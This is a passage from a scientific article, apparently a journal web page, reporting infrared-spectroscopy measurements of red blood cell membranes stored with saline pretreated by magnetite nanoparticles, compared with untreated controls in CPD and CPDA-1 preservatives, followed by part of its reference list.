magnet-controlled sorbent (MCS-B), and biologically active nanodevice (Micromage-B) [12].</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It was found that magnetite nanoparticles regulated the activity of the enzyme link of the antioxidant system in red blood cells, effectively modulate metabolic processes in leukocytes in healthy and sick patients [13-15]. Previously the complex investigations were demonstrated that in whole standardized biocompatibility of magnetite nanoparticles have nonspecific and modulated effect on metabolic processes. Study of ultrastructure of the reticuloendothelial system (lungs, liver and kidneys) it was proved that after injection of biocompatibility magnetite nanoparticles caused nonspecific activation of the metabolic processes, increase potential of organelle cells and adaptive mechanisms, acceleration of reparative processes a level of macromolecules and membranes [14,16,17]. Sorption and magnetic properties of magnetite nanoparticles not only allow selectively absorb the protein of surface membrane cells by (according to the principle of magnetophoresis) but also to prevent the oxidative modification of proteins by way of stabilizing the active groups, normalizing a state of receptors that are located on the surface membrane of cells, increasing activity of enzymes&#39; membrane-bound [18-20].</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In an experiment it is shown on rats, that biocompatible standardized nanoparticles of ICNB can be effectively used at MRI.On the mechanism of action the nanoparticles of ICNB cause the convertible changes which is reason for the temporal increase of mobility of protons of hydrogen in near cell liquid. It inevitably modifies the metabolic process in malignant cells that in perspective has hope in elaborating new ways of the target therapy of malignant neoplasm [21]. The results of these researches have not only expanded the understanding of the mechanisms of effect of magnetite nanoparticles on condition outside and intracellular spaces but also have opened up new aspects of the cellular metabolism, determined the membrane role of cellular enzymes in the regulation processes of metabolism [19,22-24].</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Also, it was established that extracorporeally pretreatment the blood by nanoparticles of MCS-B reliably (p&lt;0.001) reduces activity of Ca, Mg - ATPHese of erythrocytes.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Now, researches have shown that magnetite nanoparticles actively to inhibit hemolysis of heparinized blood, increase the activity of ATP and 2.3 DPH in RBCs, regulate transmembrane metabolism and inhibit eryptosis [19,25,26].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In our last researches, it has been found that saline which previously was processed by magnetite of nanoparticles (ICNB) and added to the preserved of the RBCs actively inhibits of hemolysis processes of RBCs at the storage stages at a positive temperature (Figure 1). It was established reliably that saline, which had previously been treated by magnetite nanoparticles (ICNB) had a marked membrane-stabilizing effect, inhibits hemolysis and increasing the sedimentation stability of preserved RBCs. In General, these effects provide the sustainability of the functional activity of preserved RBCs in during storage. The optimization results were obtained in creating a simple and practical new method of modernization of preservation solutions which improved the quality, efficiency, safety transfusion of preserved RBCs [27-29].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">However, comprehensive analysis of the above data revealed only the primary mechanisms of the effect modernized of the saline solution on the preserved RBCs. Taking this into account, it was decided to conduct an in-depth study of changes in the structure of erythrocyte membranes at the level of molecular bonds during their storage. One of the effective methods of these studies is the method of infrared spectroscopy (IR) [30].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Infrared spectroscopy (IR) is a method of identifying and analyzing chemical compounds. An infrared beam is directed at a sample, and by measuring the radiation which is absorbed by the sample at different frequencies, one can tell what kind of molecules form the sample [31,32]. The method is based on the phenomenon of absorption of electromagnetic radiation in the infrared range by groups of atoms of the object under study. When the molecule is irradiated with infrared radiation, quanta are absorbed, the frequencies of which correspond to the frequencies of valence, deformation and libration vibrations of molecules. IR allows us to trace the changes in all the main types of bonds in the molecules of the substances under study [33-36].The spectrum is displayed with a graph that shows at which frequency and how much absorption occurred. Because different molecules absorb the radiation at specific frequencies in known amounts, the spectrum can be used to identify the sample at a molecular level. Infrared spectroscopy (IR) is used in study to do quantitative analysis, recognize samples or detect impurities. IR can be used on gaseous, liquid or solid samples and does not destroy the sample in the process. IR is widely applicated for the analysis of biological fluids, in particular blood and its components [37].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, the next purpose of research was the study of changes in the molecular structure of erythrocyte membranes in additive modernization of preservation solutions of RBCs at the storage stages at a positive temperature.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Materials and Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.</strong>&nbsp;<strong>Materials:<em> </em></strong>1. Standardized intracorporealnanobiocorrector of ICNB was taken as magnetite nanoparticles. Magnetite nanoparticles synthesized by co-precipitation method. The main physics and chemical properties of ICNB the following data and also in (Tables 1-4); (Figures 2,3) were presented:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Concentration of the colloidal solution of magnetite nanoparticles in physiology solution of &nbsp;NaCl is 0.0225%.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Theoretical osmolality of colloid solution is 500 mosmol/l</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Size of magnetite nanoparticles is 6-12nm;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Total area of surface magnetite of nanoparticles Ss = 800-1200m<sup>2</sup>/g;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Magnetization of saturation Is = 2.15??/m;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&zeta; - potential = - 19mV.</span></li>\r\n</ul>\r\n\r\n<ol start=\"2\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">0.9% NaCl solution.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">0.9% NaCl solution which previously was processed by ICNB in ratio 4:1.</span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.&nbsp;</strong><strong>Objects of research:</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">red blood cells (RBCs) into bags containing anticoagulant citrate, nutrient phosphate and dextrose (CPD);</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">red blood cells (RBCs) into bags containing anticoagulant citrate, nutrient phosphate, dextrose and adenine(CPDA-1).</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of each bag of 3 ml amounts of red blood cells was distributed into 20 sterile glass tubes. Then, into the first 10 tubes of control were added of 2 ml amounts 0.9% NaCl solution. Into the next 10 tubes of test were added of 2 ml amounts 0.9% NaCl solution, which previously was processed by ICNB.</span></li>\r\n</ul>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, the distribution of tubes was as the follows:</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tubes of control:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3 ml of red blood cells (CPD) +2 ml 0.9% NaCl solution (n=10);</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3 ml of red blood cells (CPDA-1) +2 ml 0.9% NaCl solution (n=10).</span></li>\r\n</ul>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tubes of test:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3 ml of red blood cells (CPD) +2 ml 0.9% NaCl solution that previously was processed by ICNB in ratio 4:1(n=10);</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3 ml of red blood cells (CPDA-1) +2 ml 0.9% NaCl solution that previously was processed by ICNB in ratio 4:1(n=10).</span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">IR Spectrophotometer-29 (LOMO), working in NSC Kharkov Institute of Physics and Technology of the National Academy of Sciences of Ukraine, was used for registration of absorption spectra of an aqueous solution of erythrocytes in the IR range. The spectra were recorded in the range of 4000-400 cm<sup>-1</sup> (from 2 to 25 m km - middle infrared region).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Calibration was carried out on the spectrum of polystyrene with known frequencies of absorption maxima. The amendment amounted to an average of 10-5 cm<sup>-1</sup>.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Liquid water is characterized by strong absorption in the study range, so to record the spectra of aqueous solutions is necessary to obtain a thin layer of the substance. For this purpose, two thin plates of CaF<sub>2</sub> material transparent in the mid-IR range that does not have its own characteristic absorption bands, which could affect the interpretation of the IR spectrum of the aquatic solution, were used. A drop of the test liquid was crushed between two round plates CaF<sub>2 </sub>and installed in the measuring channel of the device. The same plates were installed in the comparison channel, but without liquid. Spectral recording was carried out immediately after placing the sample in the device and lasted 10 minutes. The temperature in the chamber was 25-30&deg;C.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tests were carried out in eight stages: day 1 - I, day 7 - II, day 14 - III, day 21 - IV, day 28 - V, day 35 &ndash; VI, day 42 &ndash; VII, day 49 - VIII.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The blood after performance of the biochemical investigation was stored in the refrigerating chamber at temperature +4&ordm;?.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Statistically processing the obtained results was carried out by parametrical method of variation statistics by Student criterion. Processing the obtained data was carried out by means of Excel.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Results and Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">IR absorption spectra at the initial stage of the study of RBCs suspensions in the control and test in ranges 400-1300 cm<sup>-1</sup> and 1200-4000 cm<sup>-1</sup> are shown in (Figures 4, 5).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Since the basis of the studied suspensions of RBCs is liquid water, the most intense and broad bands of the spectrum correspond to different types of vibrations of molecules H<sub>2</sub>O:</span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The strong absorption in the range of 800-600 cm<sup>-1</sup> corresponds to the librational modes of H<sub>2</sub>O (Figure 4).</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Deformation vibrations of N-O-N, due to changes in the angles of valence bonds, look like a narrow intense band 1630 cm<sup>-1</sup> (Figure 5).</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Composite vibration mode of deformation and libration vibrations of H<sub>2</sub>O molecules lies in the range of 2150-2100 cm<sup>-1</sup> (Figure 5).</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The main band of valence vibrations caused by changes in the bond lengths in the water molecule covers the spectral range of 3600-3000 cm<sup>-1</sup> (Figure 5).</span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In addition, the spectrum has a number of bands corresponding to the preservative for RBCs, which is contained in saline:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Series of small range peaks: 415, 435, 480, 510, 530 and 580 cm<sup>-1</sup> (Figure 4)</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Wide band with highs in the area of 1100 cm<sup>-1</sup> (Figure 4)</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Weak intensity peaks in the region of 1260 and 1400 cm<sup>-1</sup> (Figure 5)</span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, three characteristic peaks can be distinguished in the spectrum, which are directly related to intramolecular fluctuations in the structure of erythrocytes: 1290, 1450 and 1550 cm<sup>-1</sup> (Figure 5). Identification of absorption bands in the IR spectra of the initial RBCs suspension is presented in the (Table 5).</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The spectral range in which the characteristic bands corresponding to the main fragments of the structure of RBCs are presented in Figure 6 and Figure 7</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These bands can be identified as follows: Experiment 1 (preservative CPD)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A sample of control of the RBCs suspension in preservative CPD with intact saline solution on five stages of the study is presented in the Fig. 4. The peak of weak intensity of 1290 cm<sup>-1</sup> can be attributed to fluctuations in the ring structure of the protein, as well as Amide III [37]. The weak peak of 1450 cm<sup>-1</sup> refers to the deformation vibrations d(CH<sub>3</sub>) in the structure of lipids and proteins [38,39]. Sharp band of average intensity at 1550 cm<sup>-1</sup> caused by valence vibrations of n (N-H)+n (C-N) Amide II [37]. Fig. 3 shows that after a week (stage II) of sample exposure the intensity of all these peaks associated with C-N valence vibrations and N-H deformation vibrations (1290, 1450 and 1550 cm<sup>-1</sup>) is decreases. This may indicate the beginning of changes in the secondary structure of the protein. After two weeks (stage III), the band 1290 cm<sup>-1</sup> is shifted towards high frequencies (&reg;1300 cm<sup>-1</sup>) and turns into a small bend, the band 1450 cm<sup>-1</sup> becomes barely noticeable shoulder, and the most intense peak of Amide II in the region of 1550 cm<sup>-1</sup> is significantly weakened.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These changes indicate the degradation of the molecular structure of the substance and the weakening of intra - and intermolecular bonds. After three weeks of storage (stage IV) in the control IR spectrum completely smoothed, disappear all the bands of red blood cells, there is a wide band of blurred vibrations in the range of O-H (1650-1500cm<sup>-1</sup>). After four weeks of storage (stage V) changes in the spectrum are not observed. Given the latter, study of IR absorption spectra was impractical in the next planned stages (stages VI, VII).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A sample of test<em> </em>of the RBCs suspension in preservative CPD with saline solution that previously was processed by ICNB is presented in the Figure 6.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The IR spectrum of erythrocyte suspension in the sample of test at the stage I is almost identical to the spectrum in the control, except that instead of the doublet 1290-1260 cm<sup>-1</sup> there is a band 1300 cm<sup>-1</sup> with a barely noticeable shoulder 1240 cm<sup>-1</sup> (Figure 7). Over the next two weeks, no noticeable changes in the spectrum that would indicate disturbance of the molecular structure of RBCs were observed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The intensity of the bands in zone 1300 and 1550 cm<sup>-1</sup> are decreases, and the band 1450 cm<sup>-1</sup> completely disappears on 21th day (stage IV) storage of RBCs. These changes indicate that the molecular structure of proteins and lipids of erythrocyte membranes begins to deteriorate. Hardly noticeable excesses associated with intramolecular vibrational against the background of water and bands preservative solution in the IR spectrum in during storage of RBCs appear only on the 28th day (stage V) of observation. Thus, the molecular structure of RBCs is not completely destroyed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Summary of experiment 1</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Analysis of changes occurring in the IR spectra of samples of control and test in the CPD medium was showed that during the first 28 days storage of:</span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the suspension of control of the RBCs, noticeable destructive changes in the molecular structure membrane of erythrocytes at the 14th day (stage III) storage begins. After three weeks, the molecular structure membrane of erythrocytes is completely destroyed.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the sample of test there was a weakening and rupture of molecular bonds only at the 28th day storage ofRBCs. Complete destruction of the structure of membrane of erythrocytes occurs at the 35th day (stage VI) storage.</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Experiment 2 (preservative CPDA-1).</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A sample of control of the RBCs suspension in preservative CPDA-1 with intact saline solution on main stages of the study is presented in the Figure 8.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The IR spectrum of the initial sample contains the same bands of functional groups, which were described above in experiment 1. However, there are some differences in their intensity due to the characteristics of the blood donor from which the sample was obtained. After a three-week storage of RBCs (stage IV) in the spectrum there were no noticeable changes that would indicate disturbance of the molecular structure of the erythrocyte membrane.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After four weeks (stage V), noticeable changes appear in the spectrum (some bands are smoothed, their intensity decreases, small peaks disappear).These changes indicate that the molecular structure of proteins and lipids of erythrocyte membranes begins to break down. After five weeks (stage VI) no significant changes in the spectrum were found. After six weeks of RBCs storage (stage VII)barely noticeable excesses associated with intramolecular oscillations are observed in the spectrum against the background of a wide blurred band in the vibration range O-H (1650-1500 cm<sup>-1</sup>) H<sub>2</sub>O that indicates the complete destruction of the molecular structure of erythrocyte membrane.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A sample of test of the RBCs suspension in preservative CPDA-1 with saline solution that previously was processed by ICNB on main stages of the study is presented in the Figure 9.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The dynamics of changes in the molecular structure of this sample is shown in Figure 8 demonstrates that it remains fully stable for four weeks storage of RBCs. The first signs of a slight decrease in the intensity of the lipid and protein of bands appear after four weeks storage of RBCs. Nevertheless these changes are much less pronounced than in the control sample of this series.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After six weeks, the spectrum changes mainly due to the shift of bands in the high-frequency region and smoothing of small peaks. This indicates a significant weakening of intra-and intermolecular bonds in the structure of RBCs. However, complete destruction of the membrane structure of RBCs is not observed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After seven weeks of storage, only one weak band of erythrocytes&nbsp; remains in the spectrum, corresponding to the valence vibrations of the most stable bond n(N-H)+n(C-N) of Amide II, which previously (in sample of control) experienced a significant shift in the high-frequency region due to the weakening of this bond. The bands of deformation vibrations of protein and lipid molecules disappear, i.e. the molecular structure of erythrocytes is disturbed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Summary of experiment 2</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Analysis of changes occurring in the IR spectra of samples of control and test in the CPDA-1 medium was showed that during 49 days storage of:</span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the suspension of control of RBCs noticeable destructive changes in the molecular structure begins in four weeks, and after six weeks storage the molecular structure of erythrocytes membrane are completely destroyed.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the sample of test, a significant weakening of intra-and intermolecular bonds in the structure of erythrocytes membrane occurs after six weeks. However, the complete destruction of the structure is not observed. After seven weeks storage (stage VIII) of erythrocytes obvious violations of the molecular structure of lipids and proteins that make up the RBCs are visible but some of the strongest compounds still remain.</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The method of infrared spectroscopy made it possible to track the dynamics of changes in all important types of bonds in molecules of erythrocyte membranes at the stages of their storage at positive temperature. The results clearly showed that the presented method of application of nanotechnology significantly increases the storage time of RBCs in different versions of preservatives due to mechanisms to reduce violations of the molecular structure of proteins and lipids in the erythrocyte membranes. In the future, with used nanotechnologies is planned to continue to study the features of metabolic processes of preserved RBCs at storage stages at positive temperature.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nevertheless, today it is obvious that the presented method of application of nanotechnology is not only safe for use in practice in the Blood Service, Transfusiology and Hematology, but also is the most promising innovation project.</span></p>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16756596\">Hess JR (2006) An update on solutions for red cell storage. Vox Sang 91: 13-19.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10553271\">H&ouml;gman CF, Meryman HT (1999) Storage parameters affecting red blood cell survival and function after transfusion. Transfus Med Rev 13: 275-296.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20558107\">Hess JR (2010) Red cell changes during storage. Transfus Apher&nbsp; Sci 43: 51-59.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19152602\">Zimrin AB, Hess JR (2009) Current issues relating to the transfusion of stored red blood cells. Vox Sang 96: 93-103.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21175654\">Van de Watering L (2011) Red cell storage and prognosis. Vox Sang 100: 36-4</a></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Wang D, Sun J, Solomon SB (2012) Transfusion of older stored blood and risk of death: a meta-analysis. Transfusion.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20598098\">Glynn SA (2010) The red cell storage lesion: a method to the madness. Transfusion 50: 1164 -1169.</a></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17585793\">D&#39;Amici GM, Rinalducci S, Zolla L (2007) Proteomic analysis of RBC membrane protein degradation during blood storage. J Proteome Res 6: 3242-3255.</a>&nbsp;&nbsp; </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16958837\">Verhoeven A, Hilarius P, Dekkers D (2006) Prolonged storage of red blood cells affects aminophospholipid translocase activity. Vox Sang 9: 244-251.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17524084\">Sparrow RL, Veale MF, Healey G, Payne KA (2007) Red blood cell (RBC) age at collection and storage influence RBC membrane-associated carbohydrates and lectin binding. Transfusion 47: 966-968.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19660581\">Bosman GJ, Lasonder E, Groenen-D&ouml;pp YA (2010) Comparative proteomics of erythrocyte aging in vivo and in vitro. J Proteomics 73: 396-402.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.ijnd.ir/article_3558.html\">Summer (2011) The use of magnetite nanoparticles in applied medicine. International Journal of Nano Dimension 2: 25-28.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN, Belousova EYu (2002) The first steps in discovery new mechanisms of cellular regulation in means by nanotechnology preparations // X International Conference New Information Technologies in Medicine and Ecology. - Yalta, Gursuf: 420-425.</span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN, Belousova EYu (2012) Mechanisms cell regulation by nanotechnology preparations (MCS-B). BioNanotech Conference &amp; Expo 18-21, Santa Clura, CA, USA.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2000) Effect of magnet controlled sorbent on parameters of acid-base balance of the blood and the processes of glycolysis in erythrocytes. Pain, anesthesia and intensive care.&nbsp; Kiev: 263-265.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN, Nevzorov VP (1997) Ultrastructure of cells in the kidneys and lungs of rabbits after administration of magnetite // International collection of scientific papers IV Scientific and Practical Conference on the Creation and Testing of New Drugs. &ndash; Moscow 77-87.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN, Nevzorov VP (1997) Ultrastructure of liver cells after administration of magnetite // International collection of scientific papers IV Scientific and Practical Conference on the Creation and Testing of New Drugs. &ndash; Moscow 4: 71-77.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2009) Spectrum of Application Magnetite Nanopaticles in Medicine. Nanotech 2: 154 -157. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2012) Effect on hemolysis and transport ATPase activity of erythrocytes by means nanoparticles of magnet it controlled sorbent (MCS-B). Pain, anesthesia and intensive care. &ndash; Kiev 1: 26- 28.</span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2017) Ultrastructure of Hepatic Cells after Intravenous Injection of Magnetite Nanoparticles ICNB.</span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">J. Cell Mol. Biol. 2017. Henry Publishing Group 2: 1-4.</span></span></p>\r\n\r\n<ol start=\"21\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2013) Application Magnetite of Nanoparticles (ICNB Preparation) as Magnetically-Resonant Contrasting Means During Visualization of Tumours. Clean Technology and Sustainable Industries Organization 379-381.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2012) Investigation of the influence nanoparticles of magnetite controlled sorbent (MCS-B) on the functional activity of erythrocytes. Prospects Medicine and Biology 1: 94-97.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2014) Myth and Reality Application of Magnetite Nanoparticles as Selective Contrasting Means of the Malignant Tumors in MRI Investigation. Journal Biomedical Engineering Research 2: 147-152.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2014) Application of Biocompatible Standardized Magnetite Nanoparticles (ICNB) In MRI Investigation of Malignant Tumour. Journal Nanomaterials &amp; Molecular Nanotechnology, Manuscript number: 17-21.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2013) Application Magnetite of Nanoparticles (ICNB Preparation) as Magnetically-Resonant Contrasting Means During Visualization of Tumours. Journal Clean Technology and Sustainable Industries Organization: 379-381. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov AN (2014) Nanotechnology and Discovery of a New Factor Which Influences on Permeability of Erythrocytes and Eryptosis. Journal of Materials Science and Engineering.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov A, Malygon E, Yavorskiy V, Belousova E (2018) Application of the Standardized Form Magnetite Nanoparticles (ICNB) in Creature Simple and Practical Method of Additive Modernization of Preservation Solutions for Red Blood Cells. Advances in Bioengineering &amp; Biomedical Science Research. OPAST GROUP LLC. USA 1: 11- 7.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov A, Malygon E, Yavorskiy V, 